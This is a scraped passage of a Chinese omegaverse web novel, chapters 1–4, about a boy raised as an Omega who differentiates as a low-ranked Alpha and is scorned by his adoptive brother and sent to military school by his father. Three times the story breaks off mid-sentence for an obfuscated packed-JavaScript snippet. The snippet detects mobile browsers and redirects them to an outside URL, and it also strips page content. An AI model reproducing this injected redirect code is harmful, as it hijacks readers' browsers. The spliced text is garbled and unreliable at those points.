《万人嫌删档重开了》 1. 第 1 章 “姓名:时茧;性别:男;年龄:17。 初次分化结果:一月龄时被医生判定为Omega,精神体黎明闪蝶,处于未完全发育成熟的茧状态,无法判断具体等级,预测二次分化顺利会最终分化为S级Omega。 二次分化结果:两个月前提前进入二次分化,精神体已发育成熟,即将进入成虫阶段。预测出现失误,登记者最终分化为Alpha,……E级。” 念到最后两个字时,登记官停顿,看向对面的人。 对方坐得很直,露在家居服外的皮肤白得像阳光下新覆的雪,水蓝色的头发长长地披着,像条清澈透底的溪流。他前十七年作为Omega长成的身体过分清瘦,腰身挺拔细韧,压在红木椅上的大腿匀称有肉,小腿流畅修长。 这是个仅凭气质就足够清贵吸睛的少年,很有那位第九军区总指挥官时上将的风范,但凡同时见过他们两个的人,都能够一眼认出那种血脉里一脉相承的气度。 顶级的家世和容貌,如果不出意外,他或许真的会成为联邦最惹人注目的Omega,甚至像传闻中那样,被选中作为太子妃,获得真真切切的权利。 但偏偏提前到来的二次分化使他成为了Alpha。 一个等级仅为E级的……劣质Alpha。 登记官眼神中流露出一种微妙的、冒犯的可惜和怜悯,像一个四肢健全人在面对残疾人那双断腿时,神色中会有的惊讶,怜弱,感叹。并非嘲弄,但仍旧会让感受到这种视线的人难堪。 这种眼神时茧已经很熟悉,从不适到逐渐习惯,只用了两个月。 少年微垂着细密而长的浅色眼睫,薄唇紧抿,因为皮肤雪白而格外显红。他刻意忽略了对方念到自己二次分化结果时那过于明显的变化,安静而沉默地接受了这份登记结果。 登记官有心想说点什么,但以他的身份,无论安慰或是开导显然都不合适,也后知后觉感受到一种尴尬,礼貌地对着时茧笑了笑后便带着文件离开了。 一出门,扭头就看见等在门外的时家养子温隅安,赶紧堆上笑容问好:“上校。” 温隅安同样回以一个礼貌的微笑,他相貌俊朗,眼似桃花,声音也让人如沐春风般:“辛苦您了。我送您出去。” 登记官诚惶诚恐地看着温隅安走在自己前面,迈出去的腿差点左脚绊右脚,心里打鼓:他何德何能被这位联邦军界冉冉升起的新星另眼相待啊! 登记官正绞尽脑汁想自己身上到底有什么值得对方利用的东西,果不其然,在即将上车前,温隅安开口了。 “我听说联邦公民二次分化结果在进行过官方登记后都会录入人口系统公证,以便民政部门为成年但尚未婚配的Alpha和Omega之间进行数据分析,给出配对意见;但除非是面向公众的政商人物,否则都是可以自由选择是否向外界公开的。” “是、是的,您怎么问起这个。”登记官擦着额头冷汗。 别看这位温上校平时说话都挺平易近人的,性格也是公认的和蔼可亲,但怎么说也是个S级的顶级Alpha,即使是刻意控制过,那不经意间泄露出的信息素压制也足够使他一个普通Beta感受到那种前所未有的压迫感。 温隅安笑道:“我果然没记错。那么就希望您能够为我弟弟的分化结果保密,这也是家父的意思。” 就算不把时藏锋的名号搬出来,登记官心里也门清,像时茧这样出身顶级权贵家族、原本预计会分化为S级Omega的小少爷,骤然沦落为一个E级的劣质Alpha,对于深耕第九军区,出了无数实权派军官、甚至政界也收获颇丰的时家而言,无疑是一个见不得光的污点。 向外界提起他来,自然是讳莫如深。 这等家族秘辛,登记官当然不敢多嘴,忙点头表示理解,一个劲地说保证能够办好,但也表达了自己的顾虑:“时茧少爷毕竟不是普通家庭的孩子,这么多双眼睛盯着,即使不对外公布,内部也很难瞒得住的。” 毕竟人口系统的开放权限并不高,但凡有点小权利的人都能够随便调取——时茧又不像他的父兄那样,一个个不是上将少校就是议会新星,身份信息敏感,等级不够没有资格查看——他的分化结果迟早都是瞒不住的。 温隅安显然也清楚这一点,“其他的你不用管,只要绝大部分人都不知道,就没有问题。” “明白、明白。”登记官一边连连答应,一边在心中感慨:这权贵之家亲情可真凉薄啊,不就是分化结果未达预期吗——好吧,确实算是丑闻,从顶级Omega到劣质Alpha,这也太不达预期了——但也不至于羞于提起到如此地步吧! 那小少爷作为Alpha的资质等级是差了点,但,但人家长得那么好看,哪怕用于联姻,也总归是能吸引到不少家世上等的Alpha啊不是,Omega的吧。 ——刻板印象里Alpha拥有更强悍的身体素质和异于常人的能力,是天生的士兵,Omega则承担繁衍和安抚Alpha的重任。联邦目前还没有开明到允许这两种性别少数群体之间互相消化。而登记官因为对时茧那张过分貌美的脸念念不忘,老会忽略掉他现在是一个货真价实、如假包换的Alpha,总是下意识地把这个美丽的少年当做Omega。 温隅安看入他的眼睛,明明表情没有变化,可登记官却总觉得周围温度都冷了下来:“其实我也很为小茧的分化结果感到遗憾,原本他是一个多么优秀出色的Omega,可惜现在……恐怕连最普通的Omega都看不上他了吧。毕竟E级Alpha的信息素……能让他未来的妻子满足吗?” “这种伤心事,我们也不敢多在他面前提起。好在他年纪还小,这种事情还不太着急,等时间长了,也许就慢慢适应了吧。” ……您这怎么好像对自己弟弟的感情私事关心得有点过分了,令未来弟媳对令弟欲求不满和您的关系是?…… 登记官满脸黑线,尬笑着攀谈几句后,很是莫名地示意司机开车走了。 等悬一行人彻底离开视线后,温隅安脸上的笑容慢慢淡下去,视线撇过花坛灿烂盛开的小苍兰,不知想到什么,眼神一冷,随即是种完全发自生理反应的厌恶。 Alpha的信息素,真恶心。 尤其是E级这种劣质至极的,连信息素都控制不好,随意释放的低等级Alpha。 过分甜腻的花香,像极了霸道逼人的劣质香薰,稍有不慎就弄得满世界都是这股味道,就连那个Beta登记官身上也被沾上,钻到他的鼻腔里挥之不去。 温隅安闭了闭眼,极力忍耐,才终于将那股排斥的烦躁压下去。 回到会客厅后,言笑晏晏代替了眉眼间的短暂阴鹜,对待那令人生厌的同类的劣质信息素,也更像是毫无所觉。 “你看起来好像也不怎么难过,那哥哥就放心了。” 时茧没有回答,这时候好像才意识到登记流程已经结束,站起身,想要回自己房间。 恰巧手机铃声响起,他的Omega好友打来视频电话。 时茧余光扫了一眼抱着手站在门边的养兄,挂断这通视讯请求,后者身为S级Alpha出色的视力让他一眼就看到了联系人名字,随即笑道:“听说雷雨不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035785|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久前最终分化为A级Omega。而且雷叔叔同样是第六军区负责人,你们家世背景也算相当,我看最后如果没有Omega肯要你,和他在一起倒也是个很不错的选择。” “他和你关系这么好,应该不会嫌弃你是E级Alpha?不过Omega都挺难搞的,尤其等级越高,对伴侣信息素的要求就更高,你是E级的话……恐怕很难满足他啊。啧,实在不行,要不就再替他找一个身家清白的高等级Alpha吧。反正你以前也是被当Omega养大的,早就习惯和Alpha相处了,应该也不会太过于排斥,到时候坐享齐人之福,也算是因祸得福了。” 外人给温隅安的评价几乎都很高,他是第九集团军战士遗孤,被总负责人时藏锋收养,对联邦一片赤诚,在军队里体恤下属,比起铁血雷霆手段的养父,为人显得宽松温厚许多。 但只有时茧知道,他人人称赞的养兄不仅看不起低等级的Alpha,也看不起Omega,打从骨子里就是个优越性极强的独.裁.者。 他和那些有着沙.文主义的Alpha一样,认为Omega就应该在家里相夫教子,接受丈夫的保护和宠爱。有时候甚至可能还要更极端一点,私下的言语中,完全将Omega当作Alpha的所有物。 当温隅安说起这些时,往往眼神瞬间暗下去,阴鹜,暴戾,好像马上就要把不忠的妻子抓回来囚禁一辈子。 当然在时茧表达相反意见的时候,又会恢复那种温和,笑着说他只不过是作为Alpha对Omega所拥有的编纂在基因和信息素里的占有欲。 而看不起低等级Alpha这点,是从时茧分化为劣质Alpha后才临时发现的。 诸如刚刚那些近似羞辱的言论,这些天在私下里,时茧已经听到过太多遍,几乎要背下来了。 他一开始有些无所适从,因为温隅安以前从不会在他面前过多地暴露出这一面,这个S级的Alpha对待还是Omega时的自己无比温柔小心,用含在嘴里怕化了也不为过,从小到大不知多少次以玩笑的口吻提起过,要是以后没有Omega要他,那时茧可一定要嫁给他,别让他打光棍,被军部其他光棍笑话。 但在时茧突发分化热的那晚过后,当他在看见温隅安丢下公务急匆匆赶回来,却在发现自己分化结果时眼睛里的担忧到错愕,再到慢慢凝聚起来的暗意,他在那时就隐隐约约察觉到,有什么东西随着自己后颈那块发热的腺体产出的疼痛而一同变得阴郁痛苦。 所以时茧清楚地知道,现在的温隅安绝不是性情突变。 他只是不再伪装了。 或许温隅安觉得作为Omega的幼弟会害怕天生就带有侵略性的自己,才竭力掩饰;而作为同类的幼弟,更适合窥见最真实的他。 温隅安没有得到他预见中时茧该有的反应,明明这家伙之前听到类似的话,还会气得眼睛都泛红,努力稳着声线试图辩解,但现在时茧要比以前更加安静。 偏偏这种无视对温隅安而言更加无法忍受。 他知道该怎么说才能让养弟难堪万分,所以微笑道:“你是担心这么做会有风险?也是,毕竟外面的Alpha用起来哪有知根知底的放心。” “如果有需要的话,欢迎你随时来找我。” 他将自己对外的名片轻轻放到时茧的上衣口袋里,顺带放入一朵花坛里摘下的小苍兰,最后拍了拍时茧的肩膀,大笑起来。 时茧攥紧掌心,忍耐着来自兄长充满恶意的羞辱。 ——无论是作为Omega还是Alpha时,始终不变的,他的信息素,小苍兰。 2. 第 2 章 “也许我的确不够争气,没办法按预测结果那样分化为一个对家族更有作用的高等级Omega,但无论你现在说什么,我的分化结果已成事实。我知道这种等级在Alpha中与残废无异,也清楚以这种条件不会有Omega能够接纳我,所以早已做好孤独一生不祸害连累旁人的准备,并不需要哥哥你再三提醒。” 时茧一字一句:“但雷雨与这件事无关,他甚至还不清楚我的分化结果。你作为我的兄长,可以对我感到不满,但请尊重我的朋友——” “哥哥。” 这句称呼是提醒,也更像是一种隐约地告诫,温隅安的表情几乎是立刻从嘲弄变得阴冷,似乎听到什么好笑的话一样,牵扯着嘴角冷冷哼了两声。 他极小声,近乎自言自语:“哥哥……呵……” 时茧还惦记着好友的未接电话,收回视线,从温隅安身前径直走过,与他擦肩。 颈后粘着毒蛇般黏腻冷腥的视线,直到走过转角,来到日头正盛的花园里,那种如骨附蛆的湿冷才渐渐退去。 时茧被太阳照到的刹那有些头重脚轻,后知后觉松开手掌,才暼到两只手的掌心都掐出了青紫的月牙印子。 他看着花池里盛开的小苍兰,蓝白色的花剑淡雅清新,散发着恬淡的馨香,将夏天装扮得格外盛大。 时茧尚且年幼,只有三四岁时,温隅安亲手种下这些小苍兰,十几年的亲自照顾,才让这些娇贵的种子连绵成花海,把夏天留在这同时茧信息素一样的香气里。 现在也是他,亲手把花别在时茧的口袋里,用这种方式提醒,你作为E级的Alpha,继承到的基因,和你的信息素一样低劣。 时茧回到房间后,拿出工具把温隅安“送”给他的小苍兰做成永生花,放进一本装满各式各样植物标本的手账里。 做完这件事,他才把电话打回去。 雷雨早已等候多时,但当那张惊艳出尘的脸出现在屏幕里时,即使早已司空见惯,雷雨也还是被那种挑战认知的美貌冲击得愣了一秒,直到对方喊他名字,才终于慌乱地找回思绪。 “啊?我、我在听!你刚刚怎么挂我电话啊,本来这段时间忙着分化的事就没有见过面,现在要是还不多联络联络感情,等开学被分到不同班级,搞不好你没几天就真把我给忘了!你从小到大升学每次换学校,总是能交到一堆新朋友!” 雷雨控诉负心汉般控诉时茧的冷酷无情,但还不等时茧说话,又兴冲冲地跟他分享二次分化后的感受:“早知道我还不如分化成Beta呢,当Omega真麻烦,分化结束要打抑制剂,没有Alpha标记每个月的发情期也要打抑制剂,我这两个月打的针比前十几年加在一起打的针还要多!不过比起那些臭Alpha严重起来还得戴抑制环还是强多了,至少不用装扮得跟只小狗一样。” “——话说回来,白霭高等学院月底就开学了,我的行李都收拾得差不多了,你准备得怎么样?” 碍于不同性别间生理上的特殊性,从这颗星球上的政体还不是联邦开始,Alpha和Omega之间就基本都是分开上学的;Beta则由于自身特殊的不受任何一方信息素影响的天赋,可以自由选择进入Alpha学校或是Omega学校就读。 白霭高等学院就是专供Omega接受成年后高级教育的学校,受第一军区管辖,是许多权贵名流家庭为继承者考虑伴侣的首选,和其他同类院校一样,被称为“新娘学院”。 但相比于其他“新娘学院”,这座学校自由度更高,毕业要求也特别简单,对学生几乎没有任何限制,结业率从创立之初到现在每年都是100%。 如果不是对自己有着严苛标准,准备毕业后大搞一番事业,那这所学校基本就是Omega们的首选梦中情校。 哪有比快快乐乐、毫无压力上完四年大学更加美妙的地方呢?还不快来报考白霭高等学院! 雷洛上将是个心宽体胖的乐天派,雷雨也差不多完全继承了这一点,他胸无大志、只想混吃等死,所以从初中开始就已经明确自己未来的就读目标,并且十年如一日的撺掇时茧一起报考。 他兴奋地向时茧描述着升入大学后的美好校园生活,计划要利用学院为Omega们准备的每学期写生福利到处旅游,纠结于到时候是找个顺眼的Alpha男友度过每月的发情期还是一针抑制剂科技狠活。 时茧耐心地听着好友的侃侃而谈,眼睛微亮,似乎也对那样的生活十分感兴趣,但在雷雨说得口干舌燥终于停下来喝水润嗓,同时询问他有什么安排时,他眼中的那抹光亮又一闪而过,快得几乎从来没有存在过。 “……对不起雷雨,我不能陪你去了。” 雷雨呛了口水,疯狂咳嗽,第一反应是不可置信,以为时茧在逗自己玩,但回过味来后才发现对方的声线从始至终都很平稳,并没有任何异样。 可这才是最奇怪的。 时茧以前也安静,雷雨追着那些对这个漂亮Omega贼心不死的Alpha打的时候,时茧总是拿着书坐在紫藤花架下耐心地看,连花瓣全都落在他水色的头发上都不知道; 但绝对没有现在这样安静。 这种安静让雷雨本能地有些不安,就像童年放学人全都走光了的学校教室,昏黄光线透过窗户照到桌子上,散发着书页的墨臭味,独自一人走在光影颓暗的走廊,仿佛下一秒就会被时间给吞没。 雷雨心有点慌,忙问:“为什么?你不是答应好要和我一起去白霭吗?你总不能突然就出尔反尔吧,还是说你家里人不让你去?可是也没道理啊,时叔叔说过你身体弱就应该在这种没有压力的学校就读的……” 雷雨喋喋不休,时茧有些难以面对他,敛下眼睫,遮住那双深蓝色的、宝石一样的眼睛,和藏匿在其中的一丝情绪。 面对温隅安的刁难和羞辱,他尚且还能辩驳,可面对好友委屈不满的诘问,时茧却没有任何办法—— 他不知道该怎么告诉对方,其实我根本就没有分化成Omega,做不了你的同性好友,无法与你那些分化后“甜蜜的烦恼”感同身受,现在甚至连控制好自己的信息素都做不到,也许很快就要去申请抑制环锁在脖子上,就像你说的被套上颈环的小狗那样,更不可能陪你一起去只招收Omega就读的“新娘学院”。 况且以温隅安对登记官再三叮嘱不要泄露分化结果的态度来看,无论是他、哥哥,亦或者父亲,其实,家里根本没有一个人希望这种事传出去吧。 毕竟一个几乎被所有人当做顶级Omega娇生惯养长大的人,最终却分化成毫无价值的劣质Alpha,这种事换做谁,的确都难以接受。 时茧不得不接受是因为这种事发生在自己身上,即使再失望,他也得面对这个事实。可他明白不能将“接受”强加在别人身上——即使他从未要求过周围人对自己抱有任何期望,也没有为这份期望破碎后遭到反噬而负责的义务。 他只是不太想再在雷雨的脸上,也看见失望这种情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035786|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这样的失望,这几个月里他已经看到过太多次了。 雷雨迟迟得不到一个足以说服自己的解释,他越想越生气,Omega与生俱来就会得到更多迁就与娇惯,所以性格上大多更霸道不讲理,雷雨也不例外:“我知道我的等级没你高,你多半是担心跟我玩会有损你S级Omega的形象;或者你家里给你铺好一条跟我不一样的路,毕竟你的两个哥哥都是人中龙凤,时叔叔对于你自然也有更大的期待,和我这种没什么志气只想吃喝玩乐的人一起玩会耽误你。但你不该出尔反尔不守信用,临到头才反悔,你以前不这样。” 时茧张了张嘴,想说不是,可无论他心里怎么想的,违约是事实,到嘴边的话也就咽了下去。 “我话都说到这份上了,你都还不愿意给我个解释吗,”雷雨听上去是真生气了,“看来等不到开学,现在我们就已经分道扬镳了!” 他气冲冲地挂断了视讯,时茧欲言又止,最后无声地说了句抱歉。 即使他以前是Omega,但很多时候,他也不懂他的那些Omega好友们为什么总是像雷雨现在这样,生气地、愤怒地,甚至痛哭流涕地控诉他讨厌自己,不想和自己真心做朋友——所以他总是会失去那些朋友。 时茧每次都会郑重其事地向对方解释,但结果往往都不尽如人意,雷雨说他每到一个新地方都会拥有很多新朋友是真,但他没有说的,这些朋友最后都会离时茧而去,也是真的。 * 时茧有午睡的习惯,一觉睡到傍晚,才醒来洗漱准备吃饭。 他没想到已经一周没有回家的父亲居然在今天回来,哪怕一只脚已经踏进饭厅,也不由得放慢脚步。 温隅安坐在主位右下两个空位的位置上,正与时藏锋就第九军区边境线最近发生的几场小规模战斗交谈,言语间提到了基因主义者制造的一些骚乱和白霭星上那位陛下,余光瞥见时茧来了,就止住话头。 温隅安在时藏锋面前表现得彬彬有礼,拉开身边的椅子:“晚上好,小茧。” 时茧目光转了一圈,坐在了他的对面。 拉开的椅子只等来空气,温隅安动作一顿,手指紧扣着椅背,青筋暴起。 后槽牙磨了磨,但仅仅眨眼,又恢复从前对待时茧温和有礼的模样,笑道:“我特意让厨房准备了新割的上好小苍兰蜜,清甜润肺,非常滋补Ome……Alpha。” 他是故意还是无意的失言,时茧无欲追究,因为按以往惯例,这些和他生活起居有关的东西,一向都是温隅安照顾得多。在他作为Omega长大的这些年里,确实受到了太多来自身边人的优待,也早已习惯于他人的照顾。 时茧的精神体是黎明闪蝶,蝴蝶对于花蜜这种东西,也的确是无法抗拒。 他如往常一般,对温隅安说:“谢谢哥哥。” “……不客气。”倒是温隅安有点无所适从,没想到时茧的情绪消化得如此之快,中午那番难听的话对他似乎毫无影响。 时藏锋隐在光影暗处,这座庄园的主人,也正是他们二人的父亲,终于说出了今晚第一句话。 他锋利的目光落在时茧身上,仿佛仪器在扫描评估:“我已经打过招呼,你过几天就去联邦第一军校报道吧。” 时茧拿着花朵勺子的手一顿,香甜晶莹的花蜜险些洒在桌子上。 “可我只是E级——” 时藏锋打断道:“只要是Alpha,即使是E级,也该在军校接受教育。” 3. 第 3 章 联邦由议会、皇室、军队三权共治,议会分为由贵族、军官等少数阶级组成的上议院和平民多数阶级组成的下议院,拥有立法和修改法案的权力;皇室退居幕后,行宫修建在中心区,由皇帝直接管辖,现任皇帝阿比斯·诺曼,在议会和军队都失能的情况下拥有接管权,非紧急状态下,也拥有赦免令和一票否决权。 而军队被划分为九个军区,拥有对辖区内的统辖权,负责维护辖区内治安和抵御边境线上虎视眈眈的异种人,但必须遵守联邦法律,彼此间相互制衡。军区总部大多直接设立在边境线上,主力、尖兵,几乎全由Alpha组成。被强化过的身体机能和异能,让他们无论面对再强大的敌人,都依旧战无不胜。 而这些Alpha大多来自于不同的军校,接受过严苛的军事化管理,一经入伍就能够很快在战场上站稳脚跟,发挥出作为Alpha基因中先天性的优势。 时茧出身军人世家,十分清楚联邦的军校只是挂了学校的名头,实际与真正的军队毫无两样,不仅要接受高强度的军事训练,还需要经常配合军队外出执行危险任务,即使是等级较高的Alpha入学后都有可能适应不了,更别说他这种从小被当成Omega养大的。 自己身体素质什么水平,吃不吃得了苦,因为拒绝而得罪过多少Alpha,他自己再清楚不过了。 真去了那种地方,和直接送死有什么区别。 所以时茧想都没想,就拒绝了时藏锋:“爸爸,我做不到。我不想去。” 时藏锋眼神冰冷:“不想去?那你打算怎么办?作为一个Alpha,继续去只允许Omega就读的新娘学校?事实是,当他们看见你的档案上性别是Alpha男性那一刻起,就会立刻把你的入学申请从邮箱删除,并且给你一份联邦军校报考指南。” 联邦公民人均寿命高达两百年,基因等级越高的Alpha活得越久,S级的时藏锋虽然已经抚养三个孩子长大,但将他的年龄拉长到整个联邦来看,他正值一个男人身体素质和人格魅力最顶峰的盛年期。 他那双永远像鹰一样锐利的眼睛注视着时茧,黑透的瞳孔仿佛化不开的夜色,匿下了所有情感,让他看上去更像无机质的人形兵器。 时茧感受到一种窒息的压力,来自于他严厉锋锐的父亲。对比起一手掌控整个第九军区的时藏锋而言,他稚嫩得像只巢里刚啄开蛋壳孵化的小鹰。 时藏锋又说:“或者,你也可以放弃继续学业,待在家里,等到成年,我会给你安排一个称心如意的Omega。” 时茧过分漂亮的脸上现出一抹苍白,父亲无意的话让他想起养兄白天的羞辱,暗自咬紧牙关。 比起自小被养父娇生惯养的弟弟,温隅安对时藏锋的这一面司空见惯,嘴角扯出一抹冷嘲热讽式的笑容。 “我……只是不想去军校。”时茧艰难地说,“我刚分化成Alpha两个多月,从来没有接触过任何相关训练,现在连信息素都还不会控制,也承受不了高等级Alpha的信息素压制,单是这一关我就过不去的。” 时藏锋看一眼温隅安,语气里有不悦:“你没有教他?” “教过了,但是E级的Alpha……”温隅安抱歉一笑,“您知道的父亲,这实在需要一点时间。” 时茧顾不上温隅安的落井下石,他站起身,想要像往常任何一次做错事或者不想做某件事那样,去到父亲身边同他撒娇,他知道这招向来百试百灵:“爸爸,我还可以去综合性大学,和大多数Beta一样过普通人的生活,但是我真的不想去军校,不想和那些Alpha一起——” 时藏锋没等他说完,眉头一皱,警告道:“不要再过来。” 时茧愣住。 星空般深蓝色的眼睛里明显正忍耐着某种痛苦,但比起生理上的,时藏锋冷酷的话和拒绝他靠近的行为,却更让他心尖发紧:“你是时家的孩子,注定不会像个普通人那样生活。无论是我,还是你的两个哥哥,都就读过联邦军校,这是作为一个Alpha该做的事,所以你必须去。” 时茧知道时藏锋做下的决定无可转圜,可他不明白为什么,他只是本能地想要亲近父亲,也要被退避三舍。 他的瞳孔颤抖了下,眼前浮现的,是还很小的时候,男人单手抱着洋娃娃似的小男孩,对登门道歉低声下气的园长冷漠道:“九军区不止有你们一家幼育园,你们照顾不好我的孩子,多得是学校能照顾好他。” “这、主,主要是因为小少爷他体质太弱,就算换成其他幼育园,也没办法避免生病啊……” “一家幼育园照顾不好我换十家,所有幼育园都照顾不好,他就留在我身边,做一只不会飞的笨蛋小鹰,也好过在你们面前受委屈。” 当时的话至今仍历历在耳,时茧有些憎恶自己优于常人的记忆力,否则他不会如此清楚地意识到两个时空里的父亲竟然有这样天堑般的差别,为什么幼时父亲走到哪里便将他带到那里,他的童年几乎是在第九军区的基地度过,边境战火连天苦寒无比,鹰隼就将它的幼鸟藏在羽翼之下,竭尽呵护。 而现在的父亲,不要说一个拥抱,连他的靠近都避之不及。 时茧从小到大记得最清楚的味道就是皮草大衣上传来的硝烟、血腥,混和冷杉的信息素,被体温烘干后将自己牢牢包裹,源源不断地提供着安全感。但现在也正是这道信息素,明确地传达出排斥、警告,如果再往前一步,就会将他绞成碎片。 时茧没有过叛逆期,他们父子之间也没有过任何撕破脸皮的争吵、决裂,两个月前突然来临的二次分化,就像一场毫无征兆的地震,中间是不断塌陷的土石,一道在不停扩大的裂痕将时茧和时藏锋彻彻底底分割,推远。 被送去军校的恐慌在这一刻完全被时藏锋那句“不要再过来”压倒,时茧被生理和心理上的双重打击刺激狠了,难受得险些站不稳,身体一晃,手撑在实木餐桌上,压抑着从咬红的下唇喘出粗气,胸口起起伏伏,像哮喘发作的羸弱病人。 E级Alpha本就控制不好的信息素如开闸的洪水般泄出,扑向这密闭空间里剩下的两人。 温隅安下意识皱起眉头:“你又没管好自己的信息素。” 往日会令人感到欣喜的甜蜜味道不复存在,只剩化身野兽争夺地盘发出的警告信息,全力抵抗的同时又虎视眈眈。 温隅安的腺体替他排斥着这股信息素,敌视和驱赶同类是刻在Alpha基因里的本能。 E级Alpha的信息素泄露再多也对时藏锋起不到半点威胁,但他光是站在这里,对时茧的压迫性就已经拉到最满,不得不往后退了两步。 他的精神体军刀适时出现,是头披着肃萧杀气的美洲角雕,抖擞着翅膀想飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035787|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去哪儿,被他一个余光扫过来,最后也只能老老实实立在肩头。 时藏锋重新看回时茧,少年因为忍耐着信息素等级压制带来的痛苦而蜷缩着腰,天生上扬迤逦的眼尾红得更加明显,蓝眼睛里蒙着一层水雾。 时藏锋冷静地引导:“调整呼吸和情绪,把自己的信息素收起来。不要激动,不要极端,保持冷静,保持清醒。” 时茧双手撑在桌面,大幅度地呼吸着,尝试着像父亲说的那样做,好一会儿才感觉到稍微舒服了一点。 时藏锋的话紧接着在他耳边响起:“后天我会送你去联邦第一军校。但如果你一直控制不好情绪,至少这一段时间里,我们都不适合再见面。” 时茧露出一个惨白到极致的笑容:“好的,我会听话,爸爸。” 时藏锋清楚他不应该再留在这里,答应一声后,迈开包裹在束紧的军装裤下的长腿,快步离开了餐厅。 飞鸟的视野范围极广,他肩上的鹰隼即使不回头,依旧能将时茧深深皱起的眉头收入眼底,把这份情报如实传递给它的主人。 见男人似乎真的没打算停下,角雕锋利的、弯钩般的喙朝着男人的耳朵狠狠啄下,在被拎起来翅膀强制收回意识海前,扑腾得掉毛也要趁机多啄两下泄愤。 温隅安收回视线,觉得很有趣:“很多研究学者都持有一个学术观点,他们认为Alpha或Omega的精神体往往更能代表宿主内心真正想要表达的情感。” 时茧沉浸在时藏锋主动疏远自己的痛苦之中,根本无暇顾及那只角雕的举动,也听不进去温隅安的话里藏刀。 “如果是以前,你虽然害怕爸爸,但多半会站出来替我说话。” 时藏锋离开后,那股几乎要把自己坠死的信息素等级压制才渐渐散去,时茧闭了闭眼,缓过后颈的灼痛后,才恢复些力气,撑着饭桌离开餐厅:“我不在乎那些学术观点。我在乎的是你们现在说了什么,又做了什么。” 这话像刀子往温隅安心脏狠捅了一下,让他脸色很难看,下意识要拦住时茧。但对方真从自己身前经过时,他脑子里又空白了一瞬,以至于再试图伸出手,抓到的就只有一缕水蓝色的发尾。 而且就连这真像水似的、冰凉的长发,也很快就从他手指缝间穿过了,所以最后他什么也没抓住。 温隅安猛地攥紧拳头,表情浮现出恼怒:“你也知道那是以前——以前你是S级Omega,人人都宠着你让着你,但现在——现在,你认为你还有什么资格说这些话。你还觉得我就应该给你鞍前马后,做你的仆人?” 他冷笑一声:“哈,大小姐,我真的很好奇你为什么总能摆出这种颐指气使的姿态,哪怕你现在只是一个E级Alpha,我们都不该给你气受,对不对?” 时茧别过脸,眼底闪过一丝难堪:“别管我叫大小姐。” 温隅安很快换上笑容,仿佛真心实意地夸赞他:“那怎么行呢,您是谁啊,整个第九军区都众星捧月的时家小少爷,天之骄子来了也得围着你团团转。在你眼里,我们这些Alpha不就是一群控制不住信息素的低等生物吗?” 他顿了顿,那种虚假的笑像毒蛇的信子,说出的话也仿佛淬了毒一般:“呵呵,真不好意思,可惜现在您才是这个控制不了信息素的劣质Alpha。” 时茧抠紧掌心,感受到一种尖锐的疼痛。 4. 第 4 章 又是不欢而散。这四个字贯穿了两个多月以来时家人的每一次碰面。 时茧不明白他什么都没有变,仅仅是二次分化出现意外变成了Alpha,仅此而已,为什么就连和父亲兄长亲近的权利都被剥夺了。他只要一试图向他们靠近,控制不好的信息素就总是会逃逸出来,引起对方信息素的反击,然后这种无处可逃的等级压制就会带来又一场不亚于分化时的痛苦。 小苍兰、小苍兰—— 时茧眼底血红,他走到花园里时,看见那一片片月光下摇曳生姿的花海,就忍不住想冲上去将它们连根拔起,用刀砍断、用火烧掉,最好一株都不要再留,他一点都不想再闻到这股花香味了! 温隅安那句“大小姐”盘旋在耳边,是讽刺又是提醒,时茧把牙关咬得咯咯作响,指甲已经嵌进掌心的肉里,用尽力气才将心底这股暴风雨平息下来。 不……他不是什么大小姐。他马上就要成年,能控制住自己的情绪。他不相信基因这种东西就能有这么独断专横,说自己是E级,就真的废物到连信息素都控制不了。 时茧喘着粗气,像一只在四面八方的囚笼里无处可逃的小兽,又绝望又愤怒。如果是以往,根本没有人敢让他气成这样,也会有很多人过来安慰,但现在他只能独自一人消化这份极端情绪。两个月以来,时茧没有哪一刻比现在更憎恨自己的Alpha身份。 出发前一晚,时藏锋接到边境急电,他知道赶不上第二天送时茧去军校了,急匆匆走前,只来得及把睡得正香的温隅安叫起来,把这件事交给他去办。 时茧起得很早,但这时候时藏锋也早已飞往第九军区边境线。时茧从吃早饭起就在等,但直到不得不出门时,也仍旧没看见父亲的身影。 